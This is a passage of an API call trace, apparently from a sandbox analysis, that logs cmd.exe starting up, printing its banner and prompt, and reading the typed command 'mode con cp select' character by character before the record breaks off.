lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0129.224] GetProcessHeap () returned 0x1d64a970000 [0129.224] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a977a10) returned 1 [0129.224] GetEnvironmentStringsW () returned 0x1d64a970fc0* [0129.224] GetProcessHeap () returned 0x1d64a970000 [0129.224] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0xacc) returned 0x1d64a978500 [0129.224] FreeEnvironmentStringsA (penv="=") returned 1 [0129.224] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d64ab70080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0129.224] GetProcessHeap () returned 0x1d64a970000 [0129.224] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a9784b0) returned 1 [0129.224] ??_V@YAXPEAX@Z () returned 0x1 [0129.224] ??_V@YAXPEAX@Z () returned 0x1 [0129.224] GetProcessHeap () returned 0x1d64a970000 [0129.224] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x4016) returned 0x1d64a978fe0 [0129.225] GetProcessHeap () returned 0x1d64a970000 [0129.225] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a978fe0) returned 1 [0129.225] GetConsoleOutputCP () returned 0x1b5 [0129.606] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff72b9efbb0 | out: lpCPInfo=0x7ff72b9efbb0) returned 1 [0129.606] GetUserDefaultLCID () returned 0x409 [0129.606] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff72b9ebb78, cchData=8 | out: lpLCData=":") returned 2 [0129.606] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xa1288ff7f0, cchData=128 | out: lpLCData="0") returned 2 [0129.606] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xa1288ff7f0, cchData=128 | out: lpLCData="0") returned 2 [0129.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xa1288ff7f0, cchData=128 | out: lpLCData="1") returned 2 [0129.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff72b9ebb68, cchData=8 | out: lpLCData="/") returned 2 [0129.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff72b9ebb00, cchData=32 | out: lpLCData="Mon") returned 4 [0129.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff72b9ebac0, cchData=32 | out: lpLCData="Tue") returned 4 [0129.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff72b9eba80, cchData=32 | out: lpLCData="Wed") returned 4 [0129.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff72b9eba40, cchData=32 | out: lpLCData="Thu") returned 4 [0129.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff72b9eba00, cchData=32 | out: lpLCData="Fri") returned 4 [0129.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff72b9eb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0129.607] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff72b9eb980, cchData=32 | out: lpLCData="Sun") returned 4 [0129.607] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff72b9ebb58, cchData=8 | out: lpLCData=".") returned 2 [0129.607] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff72b9ebb40, cchData=8 | out: lpLCData=",") returned 2 [0129.607] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0129.609] GetProcessHeap () returned 0x1d64a970000 [0129.609] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x0, Size=0x20c) returned 0x1d64a976560 [0129.609] GetConsoleTitleW (in: lpConsoleTitle=0x1d64a976560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0129.668] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0129.668] GetFileType (hFile=0xfa0) returned 0x3 [0129.669] ApiSetQueryApiSetPresence () returned 0x0 [0129.669] ResolveDelayLoadedAPI () returned 0x7ff92625d990 [0129.771] BrandingFormatString () returned 0x1d64a971850 [0130.227] GetVersion () returned 0x3ad7000a [0130.227] _vsnwprintf (in: _Buffer=0xa1288ff950, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xa1288ff8e8 | out: _Buffer="10.0.15063") returned 10 [0130.227] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0130.227] GetFileType (hFile=0xfa0) returned 0x3 [0130.227] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff72b9f7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0130.228] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff72b9f7f60, nSize=0x2000, Arguments=0xa1288ff8f0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0130.228] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0130.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0130.228] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff72b9e9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xa1288ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesWritten=0xa1288ff848*=0x26, lpOverlapped=0x0) returned 1 [0130.228] _vsnwprintf (in: _Buffer=0x7ff72b9f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa1288ff918 | out: _Buffer="\r\n") returned 2 [0130.228] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0130.228] GetFileType (hFile=0xfa0) returned 0x3 [0130.228] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0130.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0130.228] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff72b9e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa1288ff8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesWritten=0xa1288ff8e8*=0x2, lpOverlapped=0x0) returned 1 [0130.228] _vsnwprintf (in: _Buffer=0x7ff72b9f7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xa1288ff918 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0130.228] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0130.228] GetFileType (hFile=0xfa0) returned 0x3 [0130.228] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0130.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0130.228] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff72b9e9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xa1288ff8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesWritten=0xa1288ff8e8*=0x34, lpOverlapped=0x0) returned 1 [0130.229] _vsnwprintf (in: _Buffer=0x7ff72b9f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa1288ff918 | out: _Buffer="\r\n") returned 2 [0130.229] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0130.229] GetFileType (hFile=0xfa0) returned 0x3 [0130.229] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0130.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0130.229] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff72b9e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa1288ff8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesWritten=0xa1288ff8e8*=0x2, lpOverlapped=0x0) returned 1 [0130.229] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0130.229] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0130.229] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0130.229] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0130.229] ??_V@YAXPEAX@Z () returned 0x1 [0130.229] _get_osfhandle (_FileHandle=0) returned 0xf94 [0130.229] GetFileType (hFile=0xf94) returned 0x3 [0130.230] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0130.230] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xa1288ff758 | out: TokenHandle=0xa1288ff758*=0x0) returned 0xc000007c [0130.230] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xa1288ff758 | out: TokenHandle=0xa1288ff758*=0x94) returned 0x0 [0130.230] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xa1288ff708, TokenInformationLength=0x4, ReturnLength=0xa1288ff710 | out: TokenInformation=0xa1288ff708, ReturnLength=0xa1288ff710) returned 0x0 [0130.230] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xa1288ff710, TokenInformationLength=0x4, ReturnLength=0xa1288ff708 | out: TokenInformation=0xa1288ff710, ReturnLength=0xa1288ff708) returned 0x0 [0130.230] NtClose (Handle=0x94) returned 0x0 [0130.230] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xa1288ff720, nSize=0x0, Arguments=0xa1288ff728 | out: lpBuffer="\x8320\x4a97\x1d6") returned 0xf [0130.230] GetProcessHeap () returned 0x1d64a970000 [0130.230] RtlAllocateHeap (HeapHandle=0x1d64a970000, Flags=0x8, Size=0x218) returned 0x1d64a976c30 [0131.000] GetConsoleTitleW (in: lpConsoleTitle=0xa1288ff770, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0131.320] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0131.320] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0131.604] GetProcessHeap () returned 0x1d64a970000 [0131.604] RtlFreeHeap (HeapHandle=0x1d64a970000, Flags=0x0, BaseAddress=0x1d64a976c30) returned 1 [0131.604] LocalFree (hMem=0x1d64a978320) returned 0x0 [0131.605] _vsnwprintf (in: _Buffer=0x7ff72b9f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa1288ff598 | out: _Buffer="\r\n") returned 2 [0131.605] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0131.605] GetFileType (hFile=0xfa0) returned 0x3 [0131.605] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0131.606] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0131.606] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff72b9e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa1288ff568, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesWritten=0xa1288ff568*=0x2, lpOverlapped=0x0) returned 1 [0131.606] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff72b9ebb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0131.606] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1d64ab70080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0131.606] malloc (_Size=0x107ce) returned 0x1d64ab80060 [0131.606] _vsnwprintf (in: _Buffer=0x1d64ab80060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xa1288ff5a8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0131.606] _vsnwprintf (in: _Buffer=0x1d64ab8008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xa1288ff5a8 | out: _Buffer=">") returned 1 [0131.606] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0131.606] GetFileType (hFile=0xfa0) returned 0x3 [0131.607] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0131.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0131.607] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff72b9e9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xa1288ff598, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesWritten=0xa1288ff598*=0x18, lpOverlapped=0x0) returned 1 [0131.607] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.607] GetFileType (hFile=0xf94) returned 0x3 [0131.607] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.607] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.608] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0131.608] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.608] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.608] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0131.608] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.608] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.608] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0131.608] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.608] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.608] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0131.608] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.608] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.609] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0131.609] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.609] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.609] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0131.609] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.609] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.609] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0131.609] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.609] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.609] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0131.609] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.609] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.609] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0131.609] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.609] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.609] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0131.609] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.609] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.610] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0131.610] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.610] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.610] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0131.610] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.610] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.610] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0131.610] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.610] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.610] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0131.610] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.610] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.610] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0131.610] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.610] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.610] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0131.610] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.610] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.611] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0131.611] _get_osfhandle (_FileHandle=0) returned 0xf94 [0131.611] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.611] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff72b9e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa1288ff8f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff72b9e9970*, lpNumberOfBytesRead=0xa1288ff8f8*=0x1, lpOverlapped=0x0) returned 1 [0131.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff72b9e9970, cbMultiByte=1, lpWideCharStr=0x7ff72b9f3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 